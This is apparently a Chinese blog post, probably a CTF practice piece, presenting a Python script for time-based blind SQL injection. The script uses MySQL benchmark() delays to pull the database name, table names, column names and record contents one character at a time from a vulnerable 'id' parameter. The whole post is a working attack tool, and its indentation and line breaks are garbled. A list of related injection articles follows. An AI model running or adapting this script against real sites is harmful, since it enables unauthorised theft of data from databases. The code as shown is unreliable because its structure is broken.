sql注入------基于时间延迟benchmark函数注入脚本
#author:windy_2
import requests
urlx = 'http://127.0.0.1/?id= 1 and if((substr((select database()),'
payloads = 'qwertyuiopasdfghjklzxcvbnm{}_0123456789' def guess_column(table):
string = ''
extend = 0
list = []
length2 = 0
num = []
num1 = []
url1 = 'http://127.0.0.1/?id= 1 and if(((select count(column_name) from information_schema.columns where table_name=\''+ table + '\')='
url2 = 'http://127.0.0.1/?id= 1 and if((substr((select column_name from information_schema.columns where table_name=\'' + table + '\' limit '
url3 = 'http://127.0.0.1/?id= 1 and if(((select length(column_name) from information_schema.columns where table_name=\'' + table + '\' limit '
url4 = 'http://127.0.0.1/?id= 1 and if(((substr((select '
url5 = 'http://127.0.0.1/?id= 1 and if(((select count('
url7 = 'http://127.0.0.1/?id= 1 and if(((select length('
for i in range(50): #获取字段数量
url = url1 + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
print(url)
time = r.elapsed.total_seconds()
print(time)
if time > 1.5:
extend = i
length2 = i
break
for k in range(extend):
st = ''
extend1 = 0
for m in range(100):
url = url3 + str(k) + ',1)=' + str(m) + '),benchmark(1000000,md5(\'test\')),NULL); %23' #获取字段长度
r = requests.get(url)
if time > 1.5:
extend1 = m
break
for i in range(1,extend1+1): #获取字段
for payload in payloads:
url = url2 + str(k) + ',1),' + str(i) + ',1)=\'' + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
st += payload
break
list.append(st)
num1.append(st)
length = 0
for i in range(1,10000): #获取记录数量
url = url5 + str(num1[0]) + ') from ' + table + ')=' + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
print(url)
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
length = i
break
for column in list:
str1 = ''
for i in range(length):
length1 = 0
url6 = url4 + str(column) + ' from ' + table + ' limit ' + str(i)
for k in range(100): #获取记录长度
url = url7 + str(column) + ') from '+ table + ' limit ' + str(i) + ',1)=' + str(k) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
length1 = k
break
for n in range(1,length1+1): #获取记录
for payload in payloads:
url = url6 + ',1),' + str(n) + ',1))=\'' + str(payload) + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
str1 += payload
break
num.append(str1)
str1 = ''
for column in num1:
print(column+' ',end='')
print('\n',end='')
for i in range(length2):
for k in range(length):
x = i + length * k
print(num[x]+' ',end='')
print('\n',end='')
def guess_table():
string = ''
extend = 0
list = []
url1 = 'http://127.0.0.1/?id= 1 and if(((select count(table_name) from information_schema.tables where table_schema=database())='
url2 = 'http://127.0.0.1/?id= 1 and if((substr((select table_name from information_schema.tables where table_schema=database() limit '
url3 = 'http://127.0.0.1/?id= 1 and if(((select length(table_name) from information_schema.tables where table_schema=database() limit '
for i in range(50):
url = url1 + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend = i
break
for k in range(extend):
st = ''
extend1 = 0
for m in range(100):
url = url3 + str(k) + ',1)=' + str(m) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend1 = m
break
for i in range(1,extend1+1):
for payload in payloads:
url = url2 + str(k) + ',1),' + str(i) + ',1)=\'' + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
st += payload
break
list.append(st)
print('------------')
for i in list:
print(f'[*]{i}')
print('------------')
guess_column('flag') def main():
string = ''
url1 = 'http://127.0.0.1/?id= 1 and if((length(database())='
extend = 0
for k in range(20):
url = url1 + str(k) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend = k
break
for i in range(1,extend+1):
for payload in payloads:
url = urlx + str(i) + ',1)=\''
url = url + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
string += payload
break
print(f'available database\n[*] {string}')
guess_table() main()
sql注入------基于时间延迟benchmark函数注入脚本的更多相关文章
- sql注入--基于报错的注入
这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...
- 基于时间延迟的Python验证脚本
自己写的一段Python脚本,经常拿来验证一些sqlmap等工具跑不出数据的网站. GET类型: import urllib import urllib2 import time payloads = ...
- Spring 依赖注入 基于构造函数、设值函数、内部Beans、集合注入
Spring 基于构造函数的依赖注入_w3cschool https://www.w3cschool.cn/wkspring/t7n41mm7.html Spring 基于构造函数的依赖注入 当容器调 ...
- Spring 基于设值函数(setter方法)的依赖注入
当容器调用一个无参的构造函数或一个无参的静态 factory 方法来初始化你的 bean 后,通过容器在你的 bean 上调用设值函数,基于设值函数的 DI 就完成了. 下述例子显示了一个类 Text ...
- sql盲注之报错注入(附自动化脚本)
作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...
- Sql注入截取字符串常用函数
在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也成为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串.本文中主要列举三个函数和该函数注入过程中的一些用 ...
- 用于防SQL注入的几个函数
不要相信用户的在登陆中输入的内容,需要对用户的输入进行处理 SQL注入: ' or 1=1 # 防止SQL注入的几个函数: addslashes($string):用反斜线引用字符串中的特殊字符' & ...
- 2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记
phpmyadmin getshell方法1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';2,如果secure-file-p ...
- SQL注入之Mysql报错注入
--志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...
随机推荐
- ASP.NET 5 (vNext) 牛刀小試:自帶 DI 容器
小引 在 ASP.NET 5(vNext)之前,亦即 MVC 4/5.Web API 2 的时代,MVC 与 Web API 框架彼此有非常相似的设计,却是以不同的代码来实现.现在,ASP.NET 5 ...
- Dependency Injection 筆記 (1)
<.NET 依賴注入>連載 (1) 本文从一个基本的问题开始,点出软件需求变动的常态,以说明为什么我们需要学习「依赖注入」(dependency injection:简称 DI)来改善设计 ...
- 阻止屏保运行、显示器和系统待机(使用SystemParametersInfo和SetThreadExecutionState两种办法)
最近看了下电脑管家里面修复漏洞时阻止系统进入待机模式的实现,其实很简单,哈哈.可以看一下这个MSDN上对这个API的说明:http://msdn.microsoft.com/en-us/library ...
- Socket2实现tcp端口扫描
主要的界面如下: 主要代码如下: //对于每一个线程,传过去的参数 typedef struct ThreadParamStruct { CString strIP; //要扫描的IP地址 UINT ...
- git(一)
一.邮件的格式 抄送:需要知道这件事的人 内容: 大家好: 我是xxx,附件内容是我的简历,请查收,有问题可以随时联系我susun|开发工程师电话:1231xxxxx31地址:xxxxxx联系电话(公 ...
- 高性能嵌入式核心板新标杆!米尔推出基于NXP i.MX8M处理器的MYC-JX8MX核心板
随着嵌入式及物联网技术的飞速发展,高性能计算的嵌入式板卡已经成为智能产品的基础硬件平台.为响应行业应用和满足客户需求,米尔电子推出基于NXP公司i.MX8M系列芯片的开发平台MYD-JX8MX系列开发 ...
- kubernetes实战篇之windows添加自签ca证书信任
系列目录 由于服务端设置了https访问,因此如果通过浏览器访问时会提示证书不被信任,但是仍然可以通过处理继续访问.但是在自动化环境中,都是通过命令来请求的,这样不受信任的https就会报错误,这样我 ...
- 区块狗开发可以做出APP吗
区块狗系统开发林生▉l8l加4896微9698电同步▉,区块狗奖励系统开发,区块狗平台系统开发,区块狗系统开发软件,区块狗系统开发案例,区块狗源码系统开发. 本公司是软件开发公司,华登区块狗/十二生肖 ...
- Zookeeper详解-API(六)
ZooKeeper有一个绑定Java和C的官方API.Zookeeper社区为大多数语言(.NET,python等)提供非官方API.使用ZooKeeper API,应用程序可以连接,交互,操作数据, ...
- Binary classification - 聊聊评价指标的那些事儿【回忆篇】
在解决分类问题的时候,可以选择的评价指标简直不要太多.但基本可以分成两2大类,我们今分别来说道说道 基于一个概率阈值判断在该阈值下预测的准确率 衡量模型整体表现(在各个阈值下)的评价指标 在说指标之前 ...